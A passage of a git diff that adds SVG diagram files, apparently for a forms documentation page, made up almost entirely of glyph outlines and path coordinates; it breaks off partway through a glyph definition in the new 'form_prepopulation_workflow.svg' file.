0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h707v453H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.194 15.514h35.272v22.578H24.194zm0 0" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M57.89 22.11h129.301v23.85h-129.3zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="57.891" y="40.359"/><use xlink:href="#b" x="66.367" y="40.359"/><use xlink:href="#c" x="75" y="40.359"/><use xlink:href="#d" x="81.758" y="40.359"/><use xlink:href="#e" x="87.266" y="40.359"/><use xlink:href="#f" x="95.273" y="40.359"/><use xlink:href="#g" x="99.941" y="40.359"/><use xlink:href="#h" x="109.395" y="40.359"/><use xlink:href="#h" x="118.047" y="40.359"/><use xlink:href="#i" x="126.699" y="40.359"/><use xlink:href="#j" x="132.188" y="40.359"/><use xlink:href="#c" x="140.449" y="40.359"/><use xlink:href="#c" x="147.207" y="40.359"/><use xlink:href="#k" x="153.965" y="40.359"/><use xlink:href="#l" x="160.879" y="40.359"/><use xlink:href="#m" x="168.398" y="40.359"/><use xlink:href="#j" x="177.09" y="40.359"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.601 18.296h30.457M26.601 36.158h30.457M26.601 18.296a.3.3 0 0 0-.3.3M57.358 18.596a.3.3 0 0 0-.3-.3M26.301 18.596v17.262M57.358 18.596v17.262M26.301 35.858a.3.3 0 0 0 .3.3M57.058 36.158a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 103.457h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="121.707"/><use xlink:href="#o" x="86.109" y="121.707"/><use xlink:href="#o" x="95.016" y="121.707"/><use xlink:href="#p" x="103.922" y="121.707"/><use xlink:href="#q" x="109.781" y="121.707"/><use xlink:href="#r" x="118.336" y="121.707"/><use xlink:href="#r" x="125.328" y="121.707"/><use xlink:href="#s" x="132.32" y="121.707"/><use xlink:href="#t" x="136.422" y="121.707"/><use xlink:href="#u" x="141.285" y="121.707"/><use xlink:href="#v" x="145.777" y="121.707"/><use xlink:href="#q" x="154.762" y="121.707"/><use xlink:href="#s" x="163.316" y="121.707"/><use xlink:href="#w" x="167.418" y="121.707"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 94.184h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 100.184v-6c-3.313 0-6 2.683-6 6zM605.309 100.184h6c0-3.317-2.684-6-6-6zM191.309 100.184h420v28h-420zM197.309 128.184h-6c0 3.312 2.687 6 6 6zM605.309 128.184v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 20.173h20.4M34.01 22.173h20.4M34.01 20.173a.3.3 0 0 0-.3.3M54.71 20.473a.3.3 0 0 0-.3-.3M33.71 20.473v1.4M54.71 20.473v1.4M33.71 21.873a.3.3 0 0 0 .3.3M54.41 22.173a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.309 138.934h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#x" x="191.309" y="155.184"/><use xlink:href="#y" x="199.004" y="155.184"/><use xlink:href="#z" x="203.945" y="155.184"/><use xlink:href="#A" x="208.887" y="155.184"/><use xlink:href="#A" x="216.211" y="155.184"/><use xlink:href="#y" x="223.652" y="155.184"/><use xlink:href="#B" x="228.594" y="155.184"/><use xlink:href="#C" x="232.402" y="155.184"/><use xlink:href="#D" x="239.609" y="155.184"/><use xlink:href="#D" x="247.402" y="155.184"/><use xlink:href="#z" x="255.195" y="155.184"/><use xlink:href="#A" x="260.137" y="155.184"/><use xlink:href="#E" x="267.578" y="155.184"/><use xlink:href="#E" x="273.652" y="155.184"/><use xlink:href="#F" x="279.727" y="155.184"/><use xlink:href="#B" x="281.465" y="155.184"/><use xlink:href="#G" x="285.273" y="155.184"/><use xlink:href="#H" x="291.523" y="155.184"/><use xlink:href="#I" x="294.316" y="155.184"/><use xlink:href="#H" x="303.789" y="155.184"/><use xlink:href="#B" x="305.41" y="155.184"/><use xlink:href="#J" x="309.219" y="155.184"/><use xlink:href="#K" x="317.031" y="155.184"/><use xlink:href="#L" x="324.492" y="155.184"/><use xlink:href="#F" x="331.914" y="155.184"/><use xlink:href="#B" x="333.652" y="155.184"/><use xlink:href="#M" x="337.461" y="155.184"/><use xlink:href="#K" x="343.574" y="155.184"/><use xlink:href="#N" x="351.348" y="155.184"/><use xlink:href="#O" x="363.066" y="155.184"/><use xlink:href="#C" x="370.898" y="155.184"/><use xlink:href="#P" x="378.105" y="155.184"/><use xlink:href="#Q" x="386.016" y="155.184"/><use xlink:href="#B" x="392.305" y="155.184"/><use xlink:href="#P" x="396.113" y="155.184"/><use xlink:href="#C" x="404.023" y="155.184"/><use xlink:href="#N" x="411.23" y="155.184"/><use xlink:href="#A" x="422.949" y="155.184"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.115 24.842-3.462-.005" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.653 24.837c0-.125.125-.25.25-.25a.27.27 0 0 1 .25.251c0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 184.79h102.399v23.85H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="203.039"/><use xlink:href="#o" x="86.109" y="203.039"/><use xlink:href="#o" x="95.016" y="203.039"/><use xlink:href="#p" x="103.922" y="203.039"/><use xlink:href="#q" x="109.781" y="203.039"/><use xlink:href="#r" x="118.336" y="203.039"/><use xlink:href="#r" x="125.328" y="203.039"/><use xlink:href="#s" x="132.32" y="203.039"/><use xlink:href="#t" x="136.422" y="203.039"/><use xlink:href="#u" x="141.285" y="203.039"/><use xlink:href="#v" x="145.777" y="203.039"/><use xlink:href="#q" x="154.762" y="203.039"/><use xlink:href="#s" x="163.316" y="203.039"/><use xlink:href="#R" x="167.418" y="203.039"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 175.516h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 181.516v-6c-3.313 0-6 2.687-6 6zM605.309 181.516h6c0-3.313-2.684-6-6-6zM191.309 181.516h420v28h-420zM197.309 209.516h-6c0 3.312 2.687 6 6 6zM605.309 209.516v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 24.24h20.4M34.01 26.24h20.4M34.01 24.24a.3.3 0 0 0-.3.3M54.71 24.54a.3.3 0 0 0-.3-.3M33.71 24.54v1.4M54.71 24.54v1.4M33.71 25.94a.3.3 0 0 0 .3.3M54.41 26.24a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.809 219.934H413.91v21.25H190.81zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#S" x="190.809" y="236.184"/><use xlink:href="#O" x="199.324" y="236.184"/><use xlink:href="#C" x="207.156" y="236.184"/><use xlink:href="#z" x="214.363" y="236.184"/><use xlink:href="#y" x="219.734" y="236.184"/><use xlink:href="#N" x="224.676" y="236.184"/><use xlink:href="#A" x="236.395" y="236.184"/><use xlink:href="#P" x="243.836" y="236.184"/><use xlink:href="#y" x="251.746" y="236.184"/><use xlink:href="#F" x="256.688" y="236.184"/><use xlink:href="#B" x="258.426" y="236.184"/><use xlink:href="#E" x="262.234" y="236.184"/><use xlink:href="#T" x="268.309" y="236.184"/><use xlink:href="#U" x="276.121" y="236.184"/><use xlink:href="#y" x="280.027" y="236.184"/><use xlink:href="#A" x="284.852" y="236.184"/><use xlink:href="#F" x="292.293" y="236.184"/><use xlink:href="#B" x="294.031" y="236.184"/><use xlink:href="#T" x="297.84" y="236.184"/><use xlink:href="#P" x="305.652" y="236.184"/><use xlink:href="#U" x="313.563" y="236.184"/><use xlink:href="#y" x="317.469" y="236.184"/><use xlink:href="#F" x="322.41" y="236.184"/><use xlink:href="#B" x="324.148" y="236.184"/><use xlink:href="#J" x="327.957" y="236.184"/><use xlink:href="#T" x="335.77" y="236.184"/><use xlink:href="#U" x="343.582" y="236.184"/><use xlink:href="#V" x="347.488" y="236.184"/><use xlink:href="#D" x="351.688" y="236.184"/><use xlink:href="#U" x="359.48" y="236.184"/><use xlink:href="#P" x="363.387" y="236.184"/><use xlink:href="#W" x="371.297" y="236.184"/><use xlink:href="#F" x="379.07" y="236.184"/><use xlink:href="#B" x="380.809" y="236.184"/><use xlink:href="#X" x="384.617" y="236.184"/><use xlink:href="#K" x="393.055" y="236.184"/><use xlink:href="#K" x="400.828" y="236.184"/><use xlink:href="#z" x="408.602" y="236.184"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 268.29h27.399v23.85H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#Y" x="149.238" y="286.539"/><use xlink:href="#u" x="158.379" y="286.539"/><use xlink:href="#Z" x="162.871" y="286.539"/><use xlink:href="#aa" x="168.301" y="286.539"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 259.016h188v40h-188zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 265.016v-6c-3.313 0-6 2.687-6 6zM385.309 265.016h6c0-3.313-2.684-6-6-6zM191.309 265.016h200v28h-200zM197.309 293.016h-6c0 3.312 2.687 6 6 6zM385.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 28.415h9.4M34.01 30.415h9.4M34.01 28.415a.3.3 0 0 0-.3.3M43.71 28.715a.3.3 0 0 0-.3-.3M33.71 28.715v1.4M43.71 28.715v1.4M33.71 30.115a.3.3 0 0 0 .3.3M43.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 339.52h62.353v23.851H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#ab" x="114.883" y="357.77"/><use xlink:href="#ac" x="123.789" y="357.77"/><use xlink:href="#ad" x="128.555" y="357.77"/><use xlink:href="#s" x="137.461" y="357.77"/><use xlink:href="#Y" x="141.348" y="357.77"/><use xlink:href="#ae" x="149.941" y="357.77"/><use xlink:href="#o" x="158.848" y="357.77"/><use xlink:href="#q" x="167.754" y="357.77"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 330.242h108v40h-108zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 336.242v-6c-3.313 0-6 2.688-6 6zM305.309 336.242h6c0-3.312-2.684-6-6-6zM191.309 336.242h120v28h-120zM197.309 364.242h-6c0 3.317 2.687 6 6 6zM305.309 364.242v6c3.316 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 31.976h5.4M34.01 33.976h5.4M34.01 31.976a.3.3 0 0 0-.3.3M39.71 32.276a.3.3 0 0 0-.3-.3M33.71 32.276v1.4M39.71 32.276v1.4M33.71 33.676a.3.3 0 0 0 .3.3M39.41 33.976a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 259.016h128v40h-128zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 265.016v-6c-3.313 0-6 2.687-6 6zM605.309 265.016h6c0-3.313-2.684-6-6-6zM471.309 265.016h140v28h-140zM477.309 293.016h-6c0 3.312 2.687 6 6 6zM605.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.01 28.415h6.4M48.01 30.415h6.4M48.01 28.415a.3.3 0 0 0-.3.3M54.71 28.715a.3.3 0 0 0-.3-.3M47.71 28.715v1.4M54.71 28.715v1.4M47.71 30.115a.3.3 0 0 0 .3.3M54.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 268.29h37.8v23.85h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#af" x="423.063" y="286.539"/><use xlink:href="#Z" x="431.852" y="286.539"/><use xlink:href="#ag" x="437.672" y="286.539"/><use xlink:href="#Z" x="445.934" y="286.539"/><use xlink:href="#q" x="451.754" y="286.539"/></g></svg> diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg new file mode 100644 index 00000000000..c908f5c5a76 --- /dev/null +++ b/_images/form/form_prepopulation_workflow.svg @@ -0,0 +1,253 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="961pt" height="201pt" viewBox="0 0 961 201" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 